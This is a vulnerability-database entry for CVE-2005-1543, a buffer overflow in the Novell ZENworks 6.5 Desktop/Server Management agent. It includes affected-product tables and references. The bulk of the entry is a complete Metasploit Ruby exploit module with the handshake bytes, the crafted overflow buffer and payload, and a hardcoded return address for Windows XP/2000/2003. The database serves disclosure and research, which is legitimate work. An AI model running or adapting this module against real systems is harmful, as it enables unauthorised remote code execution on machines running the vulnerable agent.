ID
VAR-E-200505-0073
CVE
| cve_id: | CVE-2005-1543 | Trust: 2.4 |
EDB ID
16815
TITLE
Novell ZENworks 6.5 - Desktop/Server Management Overflow (Metasploit) - Windows remote Exploit
Trust: 0.6
DESCRIPTION
Novell ZENworks 6.5 - Desktop/Server Management Overflow (Metasploit). CVE-2005-1543CVE-16698 . remote exploit for Windows platform
Trust: 0.6
AFFECTED PRODUCTS
| vendor: | novell | model: | zenworks | scope: | eq | version: | 6.5 | Trust: 1.0 |
| vendor: | novell | model: | zenworks desktop/server management | scope: | eq | version: | 6.5 | Trust: 0.5 |
| vendor: | novell | model: | zenworks server management | scope: | eq | version: | 6.5 | Trust: 0.3 |
| vendor: | novell | model: | zenworks remote management | scope: | - | version: | - | Trust: 0.3 |
| vendor: | novell | model: | zenworks for servers | scope: | eq | version: | 3.2 | Trust: 0.3 |
| vendor: | novell | model: | zenworks for desktops | scope: | eq | version: | 4.0.1 | Trust: 0.3 |
| vendor: | novell | model: | zenworks for desktops | scope: | eq | version: | 4.0 | Trust: 0.3 |
| vendor: | novell | model: | zenworks for desktops sp2 | scope: | eq | version: | 3.2 | Trust: 0.3 |
| vendor: | novell | model: | zenworks desktop management | scope: | eq | version: | 6.5 | Trust: 0.3 |
EXPLOIT
##
# $Id: zenworks_desktop_agent.rb 9929 2010-07-25 21:37:54Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell ZENworks 6.5 Desktop/Server Management Overflow',
'Description' => %q{
This module exploits a heap overflow in the Novell ZENworks
Desktop Management agent. This vulnerability was discovered
by Alex Wheeler.
},
'Author' => [ 'anonymous' ],
'License' => BSD_LICENSE,
'Version' => '$Revision: 9929 $',
'References' =>
[
[ 'CVE', '2005-1543'],
[ 'OSVDB', '16698'],
[ 'BID', '13678'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 32767,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[
'Windows XP/2000/2003- ZENworks 6.5 Desktop/Server Agent',
{
'Platform' => 'win',
'Ret' => 0x10002e06,
},
],
],
'DisclosureDate' => 'May 19 2005',
'DefaultTarget' => 0))
end
def exploit
connect
hello = "\x00\x06\x05\x01\x10\xe6\x01\x00\x34\x5a\xf4\x77\x80\x95\xf8\x77"
print_status("Sending version identification")
sock.put(hello)
pad = Rex::Text.rand_text_alphanumeric(6, payload_badchars)
ident = sock.get_once
if !(ident and ident.length == 16)
print_error("Failed to receive agent version identification")
return
end
print_status("Received agent version identification")
print_status("Sending client acknowledgement")
sock.put("\x00\x01")
# Stack buffer overflow in ZenRem32.exe / ZENworks Server Management
sock.put("\x00\x06#{pad}\x00\x06#{pad}\x7f\xff" + payload.encoded + "\x00\x01")
ack = sock.get_once
sock.put("\x00\x01")
sock.put("\x00\x02")
print_status("Sending final payload")
sock.put("\x00\x24" + ("A" * 0x20) + [ target.ret ].pack('V'))
print_status("Overflow request sent, sleeping for four seconds")
select(nil,nil,nil,4)
handler
disconnect
end
end
Trust: 1.0
EXPLOIT LANGUAGE
rb
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
Desktop/Server Management Overflow (Metasploit)
Trust: 1.0
TAGS
| tag: | Metasploit Framework (MSF) | Trust: 1.0 |
| tag: | exploit | Trust: 0.5 |
| tag: | overflow | Trust: 0.5 |
CREDITS
Metasploit
Trust: 0.6
EXTERNAL IDS
| db: | NVD | id: | CVE-2005-1543 | Trust: 2.4 |
| db: | EXPLOIT-DB | id: | 16815 | Trust: 1.6 |
| db: | EDBNET | id: | 39503 | Trust: 0.6 |
| db: | PACKETSTORM | id: | 83038 | Trust: 0.5 |
| db: | BID | id: | 13678 | Trust: 0.3 |
REFERENCES
| url: | https://nvd.nist.gov/vuln/detail/cve-2005-1543 | Trust: 2.1 |
| url: | https://www.exploit-db.com/exploits/16815/ | Trust: 0.6 |
| url: | http://support.novell.com/cgi-bin/search/searchtid.cgi?/10097644.htm | Trust: 0.3 |
| url: | http://support.novell.com/cgi-bin/search/searchtid.cgi?/2971493.htm | Trust: 0.3 |
| url: | http://www.rem0te.com/public/images/zen.pdf | Trust: 0.3 |
SOURCES
| db: | BID | id: | 13678 |
| db: | PACKETSTORM | id: | 83038 |
| db: | EXPLOIT-DB | id: | 16815 |
| db: | EDBNET | id: | 39503 |
LAST UPDATE DATE
2022-07-27T09:23:34.884000+00:00
SOURCES UPDATE DATE
| db: | BID | id: | 13678 | date: | 2009-07-12T14:56:00 |
SOURCES RELEASE DATE
| db: | BID | id: | 13678 | date: | 2005-05-18T00:00:00 |
| db: | PACKETSTORM | id: | 83038 | date: | 2009-11-26T00:34:53 |
| db: | EXPLOIT-DB | id: | 16815 | date: | 2010-07-25T00:00:00 |
| db: | EDBNET | id: | 39503 | date: | 2010-07-25T00:00:00 |